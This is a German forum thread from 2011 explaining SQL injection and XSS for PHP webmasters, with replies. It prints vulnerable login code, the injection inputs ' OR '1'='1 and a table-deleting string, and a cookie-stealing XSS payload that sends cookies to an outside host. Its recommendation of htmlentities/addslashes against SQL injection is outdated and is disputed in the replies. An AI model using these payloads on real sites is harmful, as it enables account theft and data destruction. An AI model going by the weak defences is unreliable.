Herzlich willkommen bei tsoto.net, Community, Magazin & Shop.
Jetzt kostenlos registrieren. Du hast Dein Passwort vergessen?
ForumWeb-ProgrammierungAllgemeine Sicherheit von Webseiten
Allgemeine Sicherheit von Webseiten - geschrieben am 31.03.2011 - 03:04

Level 9 Administrator
Da erwähnt man doch gerade noch wie sicher die eigene Seite vor Angriffen geschützt sei, entdeckt man doch im selben Atemzug noch eine winzig kleine Sicherheitslücke, welche einem Angreifer Möglichkeiten ohne Ende hätte geben können. Um mal allen Webmastern unter euch einen allgemeinen Überblick über die meisten Sicherheitslücken zu geben, versuche ich in diesem Thread einfach mal die meisten aufzulisten - und jedem eine mögliche Sicherung gegen jeweilige mit auf den Weg zu geben.

Generell sicherheitsgefährdend sind alle Inhalte, die vom Nutzer beeinflusst werden können.

Dies können unter anderem folgende PHP Variablen sein:
$_COOKIE, $_GET, $_POST, $_REQUEST, $_SERVER

Sowie Cross Site Scripting, auch XSS genannt mithilfe von JavaScript.

SQL-Injection

Zuerst einmal das berühmte Beispiel, wie eine solche Sicherheitslücke ausgenutzt werden kann:

Ein Webseitenbetreiber nutzt ein Login-Script - entweder für sich selbst, um Zugang zur Administration der eigenen Seite zu gelangen oder allgemein den Besuchern eine Möglichkeit zu bieten, sich als Mitglied zu registrieren. In beiden Fällen nutzen wir ein Formular, um uns mit Nutzername und Passwort einloggen und als Nutzer verifizieren zu können. Die Abfrage, ob man nun die richten Daten angegeben hat, könnte nun beispielsweise wie folgt aussehen:

Code

if (mysql_num_rows(mysql_query("SELECT * FROM mitglieder WHERE benutzername='".$_POST['benutzername']."' AND passwort='".$_POST['password']."'"))) { $login = true; } else { $login = false; }

Und nun zur Sicherheitslücke: Die von außen eingesandte $_POST-Variable. Gibt man nun im jeweiligen Input-Feld einfach nur Nutzername und Passwort ein, so ist das natürlich gebrauchsfähig - aber eben nicht sicher. Wird beispielsweise in den Feldern benutzername und passwort folgendes eingegeben:

Code

' OR '1'='1

So lautet die Abfrage letzten Endes im Script selbst:

Code

if (mysql_num_rows(mysql_query("SELECT * FROM mitglieder WHERE benutzername='' OR '1'='1' AND passwort='' OR ' '1'='1'"))) { $login = true; } else { $login = false; }

Und siehe da: Entweder existiert der Benutzer mit dem Benutzernamen "" (leer) oder 1 ist eben 1. Und da 1 ja bekanntlich 1 ist, hätten wir die Sicherheitslücke auch schon ausgenutzt. Aber das Ganze kann natürlich noch besser kommen. Geben wir in den Eingabefeldchen nun folgendes ein:

Code

' DELETE FROM mitglieder--

("--" leitet ein Kommentar ein)

So wird am Ende folgendes im Script ausgeführt:

Code

if (mysql_num_rows(mysql_query("SELECT * FROM mitglieder WHERE benutzername='' DELETE FROM mitglieder-- AND passwort=''"))) { $login = true; } else { $login = false; }

Das böse Ende: Die komplette Tabelle "mitglieder" wird geleert. Natürlich lassen sich auch noch ganze andere Dinge damit anstellen, wie Werte auslesen, verändern, eigene Werte einspielen und so weiter, doch dieses Beispiel soll niemandem zum Möchtegernhacker erziehen, sondern zum Webmaster mit einer sicheren Webseite.

Wie beugt man einer SQL-Injection vor?

Hierbei gibt es mehrere Möglichkeiten. Die meiner Meinung nach sinnvollsten wären entweder htmlentities($variable, ENT_QUOTES) oder addslashes($variable). Während htmlentities alle Sonderzeichen in HTML-Konforme Zeichen umwandelt, so fügt addslashes allen ' und " ein \ voran, womit PHP dann erkennt, dass diese nicht den Code zu beeinflussen haben. Wenn wir auf das Beispiel weiter oben zurückgreifen, könnte unser Code für den Login z.B. wie folgt aussehen:

Code

if (mysql_num_rows(mysql_query("SELECT * FROM mitglieder WHERE benutzername='".htmlentities($_POST['benutzername'], ENT_QUOTES)."' AND passwort='".htmlentities($_POST['password'], ENT_QUOTES)."'"))) { $login = true; } else { $login = false; }

Was dann am Ende - sofern man wieder fies sein möchte und ' OR '1'='1 eingibt - zu folgendem resultieren würde:

Code

if (mysql_num_rows(mysql_query("SELECT * FROM mitglieder WHERE benutzername='& #039; OR & #039;1& #039;=& #039;1& #039;' AND passwort='& #039; OR & #039;1& #039;=& #039;1& #039;'"))) { $login = true; } else { $login = false; }

Und schon bleibt alles was in $_POST steckte da, wo es bleiben soll, nämlich in der Abfrage ob `benutzername` und `passwort` so wie sie eingegeben wurden mit den Daten in der Datenbank übereinstimmen. Generell sollte man solche Verfahren überall dort verwenden, wo Daten oder Eingaben, die durch den Nutzer bestimmbar sind zur Verwendung kommen. Große Vorsicht also auch bei $_COOKIE, $_GET, $_REQUEST und $_SERVER. Der HTTP-Referer, also $_SERVER['HTTP_REFERER'] lässt sich beispielsweise auch durch den Browser manipulieren.

Was ist Cross Site Scripting bzw. XSS?

Hierüber lässt sich zum Beispiel ein Session-Cookie von euch selbst oder einem eurer Mitglieder stehlen. Funktionieren kann dies, wenn durch eine Sicherheitslücke JavaScript von einem Besucher auf eure Seite eingebunden werden kann. Darunter z.B.:

Code

onmouseover="window.location = 'http://www.fremdeseite.xyz/theft=' + document.cookie"

Im Klartext: Bei einem MouseOver auf das Element, in welches dieser Code eingebunden werden kann (z.B. ein Bild, ein Link o.ä.), wird man auf www.fremdeseite.xyz weitergeleitet, welche wieder um über die Adresszeile euren Cookie erhält. Und schon hat der Angreifer euren Session-Cookie indem z.B. ein Passwort oder einfach nur eine Session gespeichert sein kann, mithilfe dessen der fiese Herr sich in euren Mitgliedsbereich einloggen könnte.

Wie beugt man einer Cross Site Scripting bzw. XSS-Attacke vor?

Im Grunde nicht viel anders, als bei einer SQL-Injection auch. Doch Vorsicht: Vorallem in Foren, Gästebüchern & Co. sollte jederzeit darauf geachtet werden, dass Links über den BBCode [url] nicht einfach mal mit in den <a>-Tag genommen werden. Denn dadurch können diese ebenfalls ausgeführt werden, selbst wenn Zeichen wie " und ' für den Browser als HTML-Code angezeigt werden. Das macht man am Besten z.B. dadurch, dass man prüft, ob die gesamte Eingabe, bzw. der gesamte Inhalt innerhalb eines [url]-Tags auch ein gültiger Link ist - der Link sollte u.a. nur mit ftp://, ftps://, http:// oder https:// beginnen können.

Epilog

Ich hoffe, dass dieses Thema zumindest für die meisten verständlich und nachvollziehbar war. Gegebenenfalls werden mit der Zeit noch einige Stellen bearbeitet und ausführlicher sowie verständlicher beschrieben. Ansonsten natürlich noch frohes Gelingen mit den eigenen Scripten.

Du kennst weitere wichtige Maßnahmen zur Vorbeugung von Angriffen?

Dann nur her damit. o;
Allgemeine Sicherheit von Webseiten - geschrieben am 25.04.2011 - 19:21

Level 0 Mitglied
Zum maskieren von SQL Statement lieber die dafür vorgesehene Funktion nehmen
http://php.net/manual/de/function.mysql-real-escape-string.php

htmlentities macht hier außderm wenig Sinn

Man sollte hier auch CSRF erwähnen (möglich im Forum)
Allgemeine Sicherheit von Webseiten - geschrieben am 25.04.2011 - 19:57

Level 9 Administrator
Localhost schrieb:
htmlentities macht hier außderm wenig Sinn

Was ist Deine Begründung hierfür? Weshalb sollte es keinen Sinn machen? Einfach nur in den Raum zu werfen "macht hier [...] wenig Sinn" ist für niemanden eine Hilfe.
Allgemeine Sicherheit von Webseiten - geschrieben am 25.04.2011 - 20:23

Level 0 Mitglied
htmlenties wandelt die Zeichenkette um.

Wird zb htmlenties beim Eintragen in die Db vorgenommen, wird nicht der Orginal-text in die Datenbank abgelegt. Dies kann wiederum bei Abfragen aus der Datenbank bzw bei der Verarbeitung der Dateien zu Problemen führen.

Es geht darum eine Injection zu vermeiden, nicht einen String zu verändern

Man merke:
Beim eintragen mysql_real_esq.... (vergleicht außerdem die coodierung)
Beim ausgeben htmlspecialchars/enity...

mfg :)
Allgemeine Sicherheit von Webseiten - geschrieben am 25.04.2011 - 20:32

Level 9 Administrator
Du nennst hier viel mehr eine Alternative bzw. einen anderen Weg. Die Methode mit htmlentities als sinnlos zu bezeichnen ist somit nicht ganz richtig.

Ansonsten kann man natürlich Deine Variante nutzen, in meinem Text wurde lediglich ein Vorschlag von mehreren genannt, der jedoch wie gesagt nicht falsch ist, sondern lediglich einen anderen Weg darstellen soll. Wie wer am Ende seine Webseiten programmiert, wird jeder am Ende für sich selbst entscheiden. Auf jeden Fall danke für das Nennen Deiner Methodik. (:
Allgemeine Sicherheit von Webseiten - geschrieben am 25.04.2011 - 20:38

Level 0 Mitglied
Doch der Weg ist sofern falsch, dass man mit falschen mitteln (am falschen Ort) einen String versucht zu sichern

Ja viele Wege führen nach Rom, aber eben nicht jeder erfolgreich und gut bedacht
Neueste Beiträge
» Pokémon Sonne und Mond: Mehr neue ...vor 2 Tagen
» Talk, Talk, Talk, ... (Small-Talk)vor 3 Tagen
» [Review] Litchi Hikari Clubvor 8 Tagen
» [Review] Oh...Sir!! The Insult Simul...vor 19 Tagen
» Yoshiki Hayashi zu Gast in Amsterda...vor 19 Tagen
» [Review] Eigene Apps programmieren F...vor 30 Tagen
» [Review] Assassination Classroom 2vor 1 Monat
» [Preview] Wovenvor 2 Monaten
» [Review] The Perfect Insider Vol. 2vor 3 Monaten
» [Review] The Heroic Legend of Arslan...vor 3 Monaten
Neueste Mitglieder
» Solklpvor 1 Tag
» JJVV3937128vor 4 Tagen
» Wuermchen2000vor 4 Tagen
» Magic4uvor 5 Tagen
» tanjachrist97vor 5 Tagen
» kkurvers001vor 5 Tagen
» Chrissi1506vor 11 Tagen
» lenavor 12 Tagen
» Tomasso123vor 18 Tagen
» fpzobelvor 19 Tagen
Zufällige Artikel
Alle Preise inkl. MwSt., zzgl. Versandkosten.
- Werbeanzeige -
- Werbeanzeige -